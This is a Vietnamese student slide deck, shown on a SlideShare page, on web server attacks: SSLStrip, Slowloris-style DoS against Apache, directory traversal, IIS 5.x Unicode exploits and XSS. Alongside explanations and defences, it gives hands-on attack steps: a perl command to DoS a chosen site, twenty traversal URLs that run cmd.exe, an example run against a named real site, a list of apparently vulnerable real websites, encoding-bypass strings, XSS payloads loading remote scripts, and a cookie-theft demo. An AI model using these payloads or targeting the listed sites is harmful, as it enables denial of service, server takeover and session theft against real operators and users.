SlideShare a Scribd company logo
GVHD:TS Phạm văn Tính Thành viên Nguyễn Tấn Mơ Nguyễn Bình Minh Nguyễn Thạch Lê Phú Duyên
I.Khái niệm web server II. Các lỗi thường gặp trên Web server III. Giới thiệu công cụ Web vulnerability scanner Metasploit IV.Chi tiết một số lỗi XSS (Cross-Site Scripting)  SSLStrip Directory Traversal Attack IIS(Internet Information Service)  V.DEMO
Web Server  (máy phục vụ Web): máy tính mà trên đó cài đặt phần mềm phục vụ Web, đôi khi người ta cũng gọi chính phần mềm đó là Web Server. Dos Webserver  :khai thác các lỗi trên web server
Tất cả các Web Server đều hiểu và chạy được các file *.htm và *.html,tuy nhiên một số Web server lại phục vụ cho một số file riêng biệt IIS của Microsoft:ASP,ASPX.. Apache :PHP Sun Java System Web Server của SUN:dành cho JSP
XSS (Cross-Site Scripting) SSLStrip Directory Traversal Attack Web Server Technologies CGI Tester Code execution Cookie manipulation CRLF injection XFS vulnerability Email Injection File inclusion File tampering Full path disclosure Remote XSL inclusion Script source code disclosure SQL injection URL redirection XPath Injection vulnerability Blind SQL/XPath injection ………
 
Acunetix WVS (Web Vulnerability Scanner) là  công cụ dừng để kiểm tra mức độ bảo mật của các website ,nó sẽ  tự động kiểm tra các ứng dụng Web để tìm kiếm các lỗ hổng bảo mật như SQL Injection, hay Cross-Site Scripting … Nó có thể quét bất cứ trang web nào truy xuất bằng trình duyệt web thông qua giao thức Http và Https .
Sau quá trình thu thập thông tin WVS sẽ phân tích từng trang nơi có dữ liệu đầu vào từ đó sẽ đưa ra các cách khai thác khác nhau trên mỗi trang tìm được. Sau khi quét xong thì dữ liệu sẽ được lưu xuống database và có thể xuất ra báo cáo trong suốt quá trình quét.
 
 
 
 
 
 
 
 
 
 
High : nguy hiểm nhất có nguy cơ tối đa trong việc hacker và trộm cắp dữ liệu. Medium :  được gây ra bởi máy chủ dựa vào sai sót trong việc cấu hình tạo điều kiện cho việc phá vỡ thâm nhập vào máy chủ và thư mục. Low : thường tạo ra do dữ liệu không được mã hóa khi gửi đi -> tiết lộ đường dẫn thư mục Information : tiết lộ các thông tin thông qua chuỗi tìm kiếm.
Site Crawler Target Finder Subdomain Scanner Blind SQL Injection HTTP Editor HTTP Sniffer HTTP Fuzzer Authentication Tester
 
 
 
 
 
 
 
 
SSLStrip  Directory Traversal Attack Cross Site Scripting (XSS)
Mô tả Cách SSLStrip hoạt động Các bước thực hiện Cách Phòng chống SSLStrip
Cơ chế hoạt động của SSLStrip là Attacker chạy Script viết bằng Python thì khi đó các máy trong LAN sẽ đi ra Internet thông qua máy Attacker lúc này máy Attacker giống như Proxy
Các connection nào từ Client đi ra Internet theo dạng https thì bị SSLStrip drop, chỉ cho đi theo dạng http.   Ví dụ: Client gõ vào URL:  https://mail.google.com  thì khi này SSLStrip nó sẽ drop gói tin đó đồng thời báo cho Client là mày cứ đi ra theo  http://mail.google.com   và trên Web Browser của client sẽ hiện ra 1 bảng thông báo sai cert. Nhưng client truy cập vào gmail theo http ( user+pass được POST lên gmail theo dạng Plaintext => khi này thì attacker dễ dàng làm việc với các gói tin đi theo dạng http.)
Tạo một Main In The Middle trên các kết nối HTTP Thay thế tất cả các liên kết với những HTTPS bằng HTTP Giao tiếp với máy nạn nhân với một kết nối HTTP cho tất cả các kết nối HTTPS Giao tiếp với server với liên kết HTTPS Tạo proxy giữa Client và Server Thay thế các hình ảnh như favicon bằng những hình ảnh quen thuộc như các khóa an toàn  Lúc này Clinet bị đánh cắp những thông tin quan trọng mà không biết
 
 
Target Using Facebook Attacker:  sslstrip Proxy in the  Middle To Internet HTTP HTTPS
Attracter Web Server Client
Bước 1: Client gửi request tới web server với phương thức. Để lấy những thông tin cần thiết. Bước 2:Attracker đóng vai trò proxy ở giữa bắt được request và chuyển sang phương thức https và chuyển đến web server. Bước 3: web server sẽ gửi những reponse về cho attracker. Bước 4: Atrracker sẽ chuyển lại những nội dung vừa nhận từ web server  tới client nhưng được attracker chỉnh sửa lại giống  y như  trang gửi về của web server. Lúc này người dùng cứ tưởng mình đang kết nối trực tiếp với Web server mà mình đang thao tác.
Mức độ nguy hiểm cao  Cách tấn công này chưa thể dò tìm ra và cho phép tin tặc đánh cắp mật khẩu, hijack vào các phiên giao dịch ngân hàng trực tuyến hay thậm chí là đưa ra một bản cập nhật trình duyệt FireFox có đính kèm mã độc",
Khi truy cập website thì nên gõ theo dạng  https://website  và nhớ click vào biểu tượng ổ khóa khi lướt web xem có phải certificate đó có phải là của web đó ko hay là cert giả mạo.
Mô tả Demo Cách phòng chống
Do  Apache mở socket và nhận data từ client   (3-way handshakes đã hoàn tất) cho mọi request đi vào  và  giới hạn  mặt định  max_client  là 150 .  Vì vậy khi slowloris  gửi tới server những http request k hông  hoàn chỉnh, apache phải  chờ  cho http request này time out,  mặt định  là  300s.  Nếu  slowloris  gửi liên tục các request này tới webserver thì chỉ trong vài giây apache đã đạt max_client, từ chống phục vụ các client khác.
Với  g iá trị TimeOut của apache  thì nó  ấn định cho 3 điều chính:  1. Thời gian cần thiết để nhận trọn vẹn một  gửi bằng  GET  2. Thời gian giữa các gói tin TCP  gửi bằng  POST hoặc PUT (có chứa data).  3. Thời gian giữa các cú TCP ACK trong quá trình chuyển tải dữ liệu giữa client (browser) và web server (apache).
Nếu apache không dùng giá trị TimeOut chung như thế này mà gán TimeOut cụ thể cho từng loại GET, POST, HEAD.... thậm chí cụ thể hơn cho từng ấn định như LimitRequestLine, LimitRequestFieldSize.... thì TimeOut cho loại này có thể được kiểm soát chặt chẽ và hữu lý hơn
Cơ chế xử lý một request của apache khá chặt chẽ, nó có đến 7 phase khác nhau (unescapes URL, strips parent and elements from the URI, initial URI location walk, translate_name, Hook: map_to_storage, URI location walk, Hook: header_parser). Tuy nhiên, đến phase "parse" header của một HTTP request thì nó bị "chết" bởi slowloris vì apache hoàn toàn không có cơ chế nào kiểm tra nội dung của header cho đến khi nó nhận được đầy đủ (dựa vào CRLF character trên HTTP header). Socket do slowloris khởi tạo vẫn giữ nguyên ở đó và apache vẫn chờ cho đến khi TimeOut.
Yêu cầu : Dùng phần mềm ActivePerl Có file dosapche.pl Vào cmd gõ lệnh : perl tên đường dẫn chứa file dosapche.pl –dns tên trang web cần dos
R út ngắn  TimeOut  xuống đến mức tối thiểu thì slowloris trở nên vô tác dụng  nhưng sẽ ảnh hưởng tới các rerequest khác không phả do  slowloris gửi tới. Dùng iptables chặn những những ip gửi nhiều request liên tục ( Phương án này có thể dẫn đến việc chặn nhầm các proxy) . Dùng haproxy để cho gửi những request hoàn chỉnh tới apche.  Dùng mod_antiloris giới hạn số lượng kết nối đồng thời của 1 địa chỉ ip giử những request tới
Khái niệm Directory Traversal Attack theo ứng dụng web Directory Traversal Attack theo Webserver Làm thế nào để kiểm tra lỗ hổng Directory Traversal  Ngăn chặn Directory Traversal Attack Tác hại
Kiểm soát việc truy cập nội dung của 1 trang web là rất quan trọng đối với 1 webserver. Directory Traversal Attack Path Traversal hay còn được biết với một số tên khác như “dot-dot-slash”, “directory traversal”,”directory clumbing” và “backtracking” là hình thức tấn công truy cập đến những file và thư mục mà được lưu bên ngoài thư mục webroot. Máy chủ web cung cấp hai cấp độ chính của cơ chế bảo mật: Access Control Lists (ACLs) và Root directory
Access Control Lists (ACL) được sử dụng trong quá trình uỷ quyền. Nó là một danh sách mà các máy chủ web của quản trị viên sử dụng để chỉ những người dùng hoặc các nhóm có thể truy cập, sửa đổi hoặc thực thi các tập tin cụ thể trên máy chủ, cũng như quyền truy cập khác.
Các thư mục gốc là một thư mục cụ thể trên hệ thống tập tin máy chủ trong đó người sử dụng bị hạn chế.  Người dùng không thể truy cập bất cứ điều gì ở trên gốc này.
Ví dụ: các thư mục gốc mặc định của IIS trên Windows là C: \ Inetpub \ wwwroot  và với thiết lập này, một người dùng không có quyền truy cập vào C: \ Windows nhưng có quyền truy cập vào C: \ Inetpub \ wwwroot \  và bất kỳ thư mục khác và các tập tin theo thư mục gốc (được cung cấp cho người dùng được xác thực thông qua ACL).
Lỗ hổng này có thể tồn tại hoặc trong các phần mềm máy chủ web riêng của mình hoặc trong mã ứng dụng web.  Để thực hiện một cuộc tấn công theo cây thư mục, tất cả các nhu cầu của kẻ tấn công là một trình duyệt web và một số thông tin tìm thấy trongbất kỳ tập tin và thư mục mặc định trên hệ thống.
Trong các ứng dụng web với các trang dynamic, input thường nhận được từ các trình duyệt thông qua phương thức GET hoặc yêu cầu POST. Dưới đây là một ví dụ của một yêu cầu HTTP GET URL:  http://test.webarticles.com/show.asp?view=oldarchive.html
Với URL này, trình duyệt yêu cầu hiển thị show.asp động từ máy chủ và cùng với nó cũng sẽ gửi tham số “View" với giá trị của "oldarchive.html".  Khi yêu cầu này được thực thi trên máy chủ web, show.asp tìm file oldarchive.htm từ hệ thống tập tin của máy chủ, gửi nó trở lại trình duyệt sau đó hiển thị cho người dùng.
Hackers sẽ giả định rằng show.asp có thể lấy các tập tin từ hệ thống tập tin và gửi URL tuỳ chỉnh:  http://test.webarticles.com/show.asp?view=../../../../../Windows/system.ini      Trang web sẽ lấy file system.ini từ hệ thống tập tin và hiển thị nó cho người dùng.
Những biểu hiện .. / hướng dẫn của hệ thống để đi một trong những thư mục cao hơn mà thường được sử dụng để chứa các file hệ thống.  Kẻ tấn công có thể đoán được thư mục có bao nhiêu cấp để tìm thư mục Windows trên hệ thống, nhưng đây là một cách dễ dàng thực hiện bằng cách thử với các cấp khác nhau.
Ngoài lỗ hổng trong các mã,Ngay cả bản thân webserver cũng có thể tạo điều kiện cho các cuộc tấn công Directory Traversal .  Lỗi có thể phát sinh do phần mềm web server hoặc trong một số file script có sẵn trên server.
Lỗi đã được phát sinh sẵn trong các phiên bản của phần mềm werver web, có những webserver trực tuyến mà vẫn còn sử dụng phiên bản cũ của IIS và Apache mà có thể mắc lỗi Directory Traversal. Bạn có thể có một số thư mục mặc định chứa những file Script nhạy cảm có thể khai thác được, cũng được hacker khai thác.
Ví dụ: một yêu cầu URL làm cho việc sử dụng thư mục script của IIS tới thư mục đi qua và thực thi một lệnh có thể được:  http://server.com/scripts/..%5c../Windows/System32/  cmd.exe?/c+dir+c:\ cmd.exe? / c + dir + c: \  “ % 5c” là 1 mã trong URL yêu cầu một webserver sử dụng để đại diện cho kí tự thường dùng. Trong trường hợp này “% 5c” đại diện cho các ký tự "\".
Những phiên bản mới của các phần mềm webserver sẽ cấm và không co các mã này hoạt động.Tuy nhiên một số phiên bản cũ hơn, không lọc ra các mã trong thư mục gốc và sẽ cho phép hacker thực thi lệnh đó.  Các yêu cầu sẽ trả lại cho người dùng một danh sách tất cả file trong ổ C: \ bằng cách thực hiện lệnh  "dir c: \" trong cmd .
Trong quá trình khai thác kẻ tấn công có thể encode hoặc double encode, sử dụng %00(null) để bypass filter mà Website đó áp dụng.   %2e%2e%2f mô tả cho ../  %2e%2e/ mô tả cho ../  ..%2f mô tả cho ../  %2e%2e%5c mô tả cho ..\  %2e%2e\ mô tả cho ..\  ..%5c mô tả cho ..\  %252e%252e%255c mô tả cho ..\  ..%255c mô tả cho ..\  …  Đối với UTF-8  ..%c0%af mô tả cho ../  ..%c1%9c mô tả cho ..\
Khi tiếp cận với một ứng dụng Web, việc kiểm tra nó có khả năng bị lỗi Path Traversal có thể được thực hiện bằng hai loại:  + Nếu kẻ tấn công không thể có source thì chúng sẽ dùng spider, crawler để thực hiện kiểm tra Website và từ những kết quả mà spider mang lại chúng sẽ lần lượt kiểm tra các biến đối với các phương thức GET, POST hoặc COOKIE mà có khả năng bị lỗi.
+ Nếu kẻ tấn công có source code thì có thể tìm kiếm những hàm của những ngôn ngữ lập trình Web mà có khả năng gây ra lỗi Path Traversal như :  PHP: include(), include_once(), require(), require_once(), fopen(), readfile(), ... JSP/Servlet: java.io.File(), java.io.FileReader(), ... ASP: include file, include virtual, ...
Cách tốt nhất để kiểm tra xem trang web và các ứng dụng của bạn là dễ bị tấn công Directory Traversal là sử dụng một Web Vulnerability Scanner. Web Vulnerability Scanner scan toàn bộ trang web của bạn và tự động kiểm tra lỗ hổng Directory Traversal. Nó sẽ thông báo các lỗi và làm thế nào để sửa chữa nó.
Trước hết, đảm bảo bạn đã cài đặt phiên bản mới nhất của phần mềm Webserver (ISS, Apache) bạn đang dùng, và chắc chắn rằng tất cả các bản vá lỗi đã được áp dụng.  kiểm tra biến cẩn thận (có thể áp dụng filter) khi sử dụng các hàm đã giới thiệu ở trên mà có khả năng gây ra lỗi cho phép kẻ tấn công thực hiện Path Traversal.
Với một hệ thống dễ bị Directory Traversal, kẻ tấn công có thể làm cho việc sử dụng lỗ hổng này truy cập các bộ phận khác của hệ thống tập tin từ thư mục gốc. Điều này có thể cung cấp cho những kẻ tấn công khả năng xem những tập tin bị giới hạn, hoặc thậm chí nguy hiểm hơn, cho phép kẻ tấn công thực thi lệnh trên webserver,có thể dẫn đến hacker có quyền đầy đủ trên hệ thống.
Tuy nhiên một số filter như sau: str_replace("../","",$_GET['help_file'])  thì vẫn bị lỗi bởi lẽ kẻ tấn công có thể sử dụng “….//” như thế sau khi qua code lọc ở trên nó sẽ trở thành “../”. Rõ ràng việc lọc như vậy vẫn không triệt để.Thay vào đó các bạn nên sử dụng các biểu thức chính để lọc tốt hơn.  eregi("[\\/]","{$_GET['help_file']}")
KHÁI NIỆM HOẠT ĐỘNG NHƯ THẾ NÀO  PHÁT HIỆN XSS BẰNG CÁCH NÀO ? CÁCH PHÒNG CHỐNG LỖI XSS DEMO
IIS(Internet Information Service ) là 1 ứng dụng webserver mang thương hiệu của Microsoft. IIS server với các phiên bản từ trước đến phiên bản 5.x đều có lỗi để ta có thể khai thác , mặc định tính năng "hit highlight" của IIS 5.x bỏ qua giai đoạn chứng thực cơ bản.
Lỗi nằm ở phần lọc .IDA ISAPI (Internet Services Application Programming Interface), nó cho phép một máy tính từ xa đưa lệnh yêu cầu liệt kê danh sách file có trong hệ thống máy. Hacker có thể sử dụng thủ thuật đơn giản là gửi cho máy chủ một khối lượng xử lý thông tin nhiều hơn khả năng của nó. Lượng thông tin chưa kịp xử lý đó - về mặt kỹ thuật được gọi là “shell code” - có thể mang một loạt các câu lệnh, cho phép kẻ xâm nhập kiểm soát máy tính nạn nhân.
http://www.cantho.gov.vn/   http://www.cantho1260.net/   http://hanhtrangsinhvien.net/   http://hauionline.com   http://daynghedientu.com/   http://sinhvienbinhdinh.vn/   … Do lỗi này đã lỗi thời nên có thể 1 số trang này đã fix được lỗi trên
Để hack IIS server 5.x ta dùng 2 công cụ activeperl ,IE và 1 exploit: Unicode.pl Xác định trang web mắc lỗi này: Sử dụng telnet để xác định trang Web ta tấn công có sử dụng IIS server 5.0 hay không.  telnet < tên trang Web > 80  GET HEAD / HTTP/1.0  Nếu nó không báo cho ta biết trang web đang sử dụng chương trình gì thì các bạn hãy thay đổi cổng 80 bằng các cổng khác như 8080, 81, 8000, 8001 .v.v…
Sau khi đã xác định được mục tiêu các bạn vào Run > CMD gõ :  code  perl unicode.pl  Host: ( gõ địa chỉ server mà các bạn muốn hack )  Port: 80 ( hoặc 8080, 81, 8000, 8001 tuỳ theo cổng mà ta đã telnet trước đó ) .
Các bạn sẽ thấy bảng liệt kê lỗi ( đã được lập trình trong Unicode.pl ) như sau :   [1] /scripts/..%c0%af../winnt/system32/cmd.exe?/c+  [2]/scripts..%c1%9c../winnt/system32/cmd.exe?/c+  [3] /scripts/..%c1%pc../winnt/system32/cmd.exe?/c+  [4]/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+  [5] /scripts/..%c0%qf../winnt/system32/cmd.exe?/c+  [6] /scripts/..%c1%8s../winnt/system32/cmd.exe?/c+  [7] /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+  [8] /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+  [9] /scripts/..%c1%af../winnt/system32/cmd.exe?/c+  [10] /scripts/..%e0%80%af../winnt/system32/cmd.exe?/c+  [11]/scripts/..%f0%80%80%af../winnt/system32/cmd.exe?/c+  [12] /scripts/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+  [13]/scripts/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+  [14]/msadc/..\%e0\%80\%af../..\%e0\%80\%af../..\%e0\%80\%af../winnt/system32/cmd.exe?/c+  [15]/cgi-bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+  [16]/samples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+  [17]/iisadmpwd/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+  [18]/_vti_cnf/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+  [19]/_vti_bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+  [20]/adsamples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+
Các bạn sẽ thấy được tất cả các lỗi trên nếu trang Web nạn nhân bị tất cả những lỗi như vậy , nếu server của nạn nhân chỉ bị lỗi thứ 13 và 17 thì bảng kết quả chỉ xuất hiện dòng thứ 13 và 17 mà thôi .  VD  bảng kết quả cho ta biết trang Web nạn nhân bị lỗi thứ 3 và 7 , ta sẽ vào IE và nhập đoạn mã tương ứng trên Address :  http://www.4rum.com/scripts/..%c1%pc../winnt/system32/cmd.exe?/c+  < == lỗi dòng thứ 3  hoặc  http://www.4rum.com/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+  < == lỗi dòng thứ 7
VD: Để thấy được nội dung ổ C, ta gõ địa chỉ sau: http://www.tnh.com.vn/_vti_bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\  Thường thì source trang web đặt ở: inetpub\wwwroot
Microsoft khuyến cáo người dùng nên nâng cấp lên phiên bản IIS 6.0 với khả năng bảo mật tốt hơn. Dù vậy nhưng Microsoft vẫn không xem lỗi IIS 5.x là một lỗi thực sự và không phát hành bản vá lỗi. Thay vào đó Microsoft lại đưa ra một hướng dẫn 6 bước nhằm giúp người dùng giảm bớt nguy cơ bị tấn công.
Cross-Site Scripting:  (hay còn được gọi tắt là XSS ) là một kĩ thuật tấn công bằng cách  chèn  vào các website động (ASP, PHP, CGI, JSP ...) những  thẻ HTML  hay những  đoạn mã script  nguy hiểm có thể gây nguy hại cho những người sử dụng
Trong đó, những đoạn mã nguy hiểm đựơc chèn vào hầu hết được viết bằng các Client-Site Script như  JavaScript, Jscript ...và cũng có thể là cả các thẻ  HTML.
Về cơ bản XSS cũng như SQL Injection  nó cũng là các  yêu cầu (request)  được gửi từ các máy client tới server nhằm chèn vào đó các  thông tin vượt quá tầm kiểm soát  của server. Có thể là một request được gửi từ các form dữ liệu hoặc cũng có thể đó chỉ là các URL
Attacker sẽ chèn các đoạn mã vào link của đường dẫn, để thực thi trên trình duyệt của người dùng, dẫn đến việc mất  cookies ,  mật   khẩu, session hay fishing lừa đảo hay chèn virus...  Xss thường có dạng như sau: http://www.hcmuaf.edu.vn/contents.php?ids= “<script>alert(22222)</script>” &ur=admin Kết quả một thông báo    22222.
C1:Dùng các tool  để quét các trang web:các tool hỗ trợ sẽ tìm kiếm lỗi: C2:Chèn vào các đoạn script vào các form input:bao gồm 5 bước sau đây
B1:Mở website cần khai thác: B2: Xác định các site có form để nhập dữ liệu input như là  đăng nhập,tìm kiếm,comment  nhập vào một chuỗi text:ở đây nhập “xss” B3:Xem thông tin trả về:nếu chúng ta thấy như sau:“Các chữ bạn tìm không thấy trong dữ liệu.” ‘Tài khoản XSS không chính xác’ ‘Đăng nhập với XSS không thành công’…
 
B4:Khi xác định được vùng lỗi thì ta chèn các đoạn script để tiếp tục xác định lỗi Vd: <SCRIPT>alert(xss)</SCRIPT> Nếu như kết quả trả về là một  thông báo:xss  thì chắc chắn trang đó bị lỗi xss Nếu không hiện được thông báo thì ta viewsouce lên và tìm từ xss nếu có thì chắc chắn bị lỗi B5: Lập kế hoạch tấn công
 
 
B4:Ta sẽ chèn các đoạn script có dạng như sau vào thanh nhập địa chỉ hay các form đăng nhập Ví dụ:xuất ra một thông báo là xss “ <SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>” “ <SCRIPT>alert(xss)</SCRIPT>” “ <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>” &quot;<IMG SRC=javascript:alert('XSS')>“ “ <SCRIPT>alert(%31%32%32%33)</SCRIPT>”   mã hex value url “ <SCRIPT>alert(&#x78;&#x73;&#x73;)</SCRIPT>”   mã hex value html Tham khảo trên http://ha.ckers.org/xss.html
Một tấn công XSS chỉ thực hiện được khi gửi một trang web cho trình duyệt web của nạn nhân có kèm theo mã script độc của kẻ tấn công  Vì vậy các người phát triển web phải có chế độ lọc dữ liệu input hoặc web server phải có chế độ mã hóa
Lọc:bằng cách lọc các kí tự meta (kí tự đặc biệt) được định nghĩa trong đặc tả của HTML.  Mã hóa:Mã hóa phía máy chủ là một tiến trình mà tất cả nội dung phát sinh động sẽ đi qua một hàm mã hóa nơi mà các thẻ script sẽ được thay thể bởi mã của nó.
Ý nghĩa của đoạn demo là lấy cookie của người dùng thông qua lỗi xss B1:Tìm lỗi trên vieclambank.com B2:Attacker tạo host định sẵn,gồm 4 file sau + index.html :thực hiện script + luu.txt: lưu cookie  + xuli.php :xử  lý cookie  + xss.js :lấy cookie B3: Attacker gửi email tới người dùng trong đó sẽ có đường link đến trang attacker.
B4:Người dùng đăng nhập vào vieclambank B5:Người dùng truy cập vào email nhấn vào link sang trang attacker B6:Attacker lấy cookie về và sử dụng.
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

More Related Content

PDF
Cac buochackserver tech24_vn
DOCX
PDF
Cách sử dụng tên miền thật khi chạy website ở localhost
PPT
File inclusion attack(nop thay)
DOCX
Tạo mã độc trên vps
DOCX
Bao cao vps
PPTX
Cài đặt web server (linux)-Pham Hoang Phuc-Athena
DOCX
Vũ thanh hiếu tạo mã độc trên vps tấn công android
Cac buochackserver tech24_vn
Cách sử dụng tên miền thật khi chạy website ở localhost
File inclusion attack(nop thay)
Tạo mã độc trên vps
Bao cao vps
Cài đặt web server (linux)-Pham Hoang Phuc-Athena
Vũ thanh hiếu tạo mã độc trên vps tấn công android

What's hot (19)

PPTX
Lession 13: Dynamic data access
PPT
19 web server
DOCX
Báo cáo tuần đồ án
PPT
Ung dun web chuong 2
DOCX
Ajax report
PPT
Fire wall
DOC
Dịch vụ squid server
DOC
Cai dat squid proxy trong suot
 
DOCX
Xâm nhập điện thoại android qua vps trên internet
PDF
Part 31 internet information service - iis -www.key4_vip.info
DOCX
Bao cao tuan 6 7 8
PDF
Tai lieu-huong dan ajax
PDF
Tai lieu-huong dan ajax
DOCX
Hack android dùng metasploit cài trên VPS
PDF
Lab 1 xay dung ftp server
DOCX
Tạo mã độc trên vps để xâm nhập android ( môi trường internet )
PDF
Run Openstack with SSL
DOCX
Bao cao tuan 2
Lession 13: Dynamic data access
19 web server
Báo cáo tuần đồ án
Ung dun web chuong 2
Ajax report
Fire wall
Dịch vụ squid server
Cai dat squid proxy trong suot
 
Xâm nhập điện thoại android qua vps trên internet
Part 31 internet information service - iis -www.key4_vip.info
Bao cao tuan 6 7 8
Tai lieu-huong dan ajax
Tai lieu-huong dan ajax
Hack android dùng metasploit cài trên VPS
Lab 1 xay dung ftp server
Tạo mã độc trên vps để xâm nhập android ( môi trường internet )
Run Openstack with SSL
Bao cao tuan 2
Ad

Similar to Dos web server it-slideshares.blogspot.com (20)

PPTX
Web application-security
PPT
B tl internet
PDF
Luận văn: Kỹ thuật điều tra phân tích tấn công web, HAY
PDF
Web server là gì? Cách thức hoạt động và các loại máy chủ web phổ biến
PDF
Tim hieu lo hong web va cach phong chong
PPTX
ATTT.pptx
DOCX
Trả lời câu hỏi lập trình mạng
PPTX
Apache http server
DOC
Bao cao tttn an ninh web
PPTX
Bai44-48.pptx
PPTX
Trung tâm đào tạo
PPTX
Báo cáo hàng tuần - Các chuẩn bảo mật web (OWASP)
DOCX
báo cáo thực tập Athena - tuần1
PDF
các bước hack server
PDF
Cac buochackserver
PDF
Bai 4 lap trình phia client
PPT
Bao cao session hijacking it-slideshares.blogspot.com
DOCX
metasploitable example attacks list.docx
PDF
Asp control
PPTX
Báo cáo thực tập hàng tuần - Các chuẩn bảo mật web (OWASP)
Web application-security
B tl internet
Luận văn: Kỹ thuật điều tra phân tích tấn công web, HAY
Web server là gì? Cách thức hoạt động và các loại máy chủ web phổ biến
Tim hieu lo hong web va cach phong chong
ATTT.pptx
Trả lời câu hỏi lập trình mạng
Apache http server
Bao cao tttn an ninh web
Bai44-48.pptx
Trung tâm đào tạo
Báo cáo hàng tuần - Các chuẩn bảo mật web (OWASP)
báo cáo thực tập Athena - tuần1
các bước hack server
Cac buochackserver
Bai 4 lap trình phia client
Bao cao session hijacking it-slideshares.blogspot.com
metasploitable example attacks list.docx
Asp control
Báo cáo thực tập hàng tuần - Các chuẩn bảo mật web (OWASP)
Ad

More from phanleson (20)

PDF
Learning spark ch01 - Introduction to Data Analysis with Spark
PPT
Firewall - Network Defense in Depth Firewalls
PPT
Mobile Security - Wireless hacking
PPT
Authentication in wireless - Security in Wireless Protocols
PPT
E-Commerce Security - Application attacks - Server Attacks
PPT
Hacking web applications
PPTX
HBase In Action - Chapter 04: HBase table design
PPT
HBase In Action - Chapter 10 - Operations
PPT
Hbase in action - Chapter 09: Deploying HBase
PPTX
Learning spark ch11 - Machine Learning with MLlib
PPTX
Learning spark ch10 - Spark Streaming
PPTX
Learning spark ch09 - Spark SQL
PPT
Learning spark ch07 - Running on a Cluster
PPTX
Learning spark ch06 - Advanced Spark Programming
PPTX
Learning spark ch05 - Loading and Saving Your Data
PPTX
Learning spark ch04 - Working with Key/Value Pairs
PPTX
Learning spark ch01 - Introduction to Data Analysis with Spark
PPT
Hướng Dẫn Đăng Ký LibertaGia - A guide and introduciton about Libertagia
PPT
Lecture 1 - Getting to know XML
PPTX
Lecture 4 - Adding XTHML for the Web
Learning spark ch01 - Introduction to Data Analysis with Spark
Firewall - Network Defense in Depth Firewalls
Mobile Security - Wireless hacking
Authentication in wireless - Security in Wireless Protocols
E-Commerce Security - Application attacks - Server Attacks
Hacking web applications
HBase In Action - Chapter 04: HBase table design
HBase In Action - Chapter 10 - Operations
Hbase in action - Chapter 09: Deploying HBase
Learning spark ch11 - Machine Learning with MLlib
Learning spark ch10 - Spark Streaming
Learning spark ch09 - Spark SQL
Learning spark ch07 - Running on a Cluster
Learning spark ch06 - Advanced Spark Programming
Learning spark ch05 - Loading and Saving Your Data
Learning spark ch04 - Working with Key/Value Pairs
Learning spark ch01 - Introduction to Data Analysis with Spark
Hướng Dẫn Đăng Ký LibertaGia - A guide and introduciton about Libertagia
Lecture 1 - Getting to know XML
Lecture 4 - Adding XTHML for the Web

Recently uploaded (20)

PDF
Vision - Language - Model-- - Ebook.pdf
PPTX
White and Purple Modern Artificial Intelligence Presentation.pptx
PPT
SINH 8 TUYẾN YÊN TUYẾN GIÁP CÂU TẠO VÀ CHỨC NĂNG
PPTX
TIẾT 11. BÀI 32 DINH DƯỠNG VÀ TIÊU HÓA Ở NGƯỜI.pptx
PPTX
Powerpoint cho Ke toan tai chinh KET307_Bai1_SV.pptx
DOCX
Luận văn group-Bài tiểu luận Ý thức - Giấc mơ.docx
PDF
BÀI TẬP BỔ TRỢ FRIENDS PLUS 9 - BÀI TẬP TRẮC NGHIỆM, TỰ LUẬN - CẢ NĂM (BÁM SÁ...
PDF
BÀI TẬP BỔ TRỢ FRIENDS PLUS 9 - BÀI TẬP TRẮC NGHIỆM, TỰ LUẬN - CẢ NĂM (BÁM SÁ...
PDF
CHƯƠNG 1-P2: ĐẢNG CỘNG SẢN VIỆT NAM RA ĐỜI VÀ LÃNH ĐẠO ĐẤU TRANH GIÀNH CHÍNH ...
PDF
Quản trị sự kiện........................
PDF
CHUYÊN ĐỀ BỔ TRỢ NÂNG CAO DẠNG BÀI TẬP MỚI FORM 2025 - TIẾNG ANH 12 (TỜ RƠI Q...
PDF
12894-44864-1-CE-1037-1038_Văn bản của bài báo.pdf
PPTX
14. thoát vị bẹn nghẹt bệnh học ngoại khoa.pptx
PPTX
Chương 2 - Mô hình thực thể kết hợp.pptx
PPT
Bài giảng Power Point 2003, hướng dẫn học tập
DOCX
Set menu 3 món rất hay và hiện đại dành cho người
PDF
BÀI TẬP TEST FOR UNIT TIẾNG ANH LỚP 8 GLOBAL SUCCESS CẢ NĂM THEO TỪNG ĐƠN VỊ ...
PPTX
Direct Marketing- chieu thi truyen thong
DOCX
BÀI TIỂU LUẬN HẾT HỌC PHẦN TỔ CHỨC HOẠT ĐỘNG TRẢI NGHIỆM,HƯỚNG NGHIỆP Ở TRƯỜN...
PPTX
Triết học: Vận dụng nguyên tắc phát triển trong nhận thức và hoạt động thực...
Vision - Language - Model-- - Ebook.pdf
White and Purple Modern Artificial Intelligence Presentation.pptx
SINH 8 TUYẾN YÊN TUYẾN GIÁP CÂU TẠO VÀ CHỨC NĂNG
TIẾT 11. BÀI 32 DINH DƯỠNG VÀ TIÊU HÓA Ở NGƯỜI.pptx
Powerpoint cho Ke toan tai chinh KET307_Bai1_SV.pptx
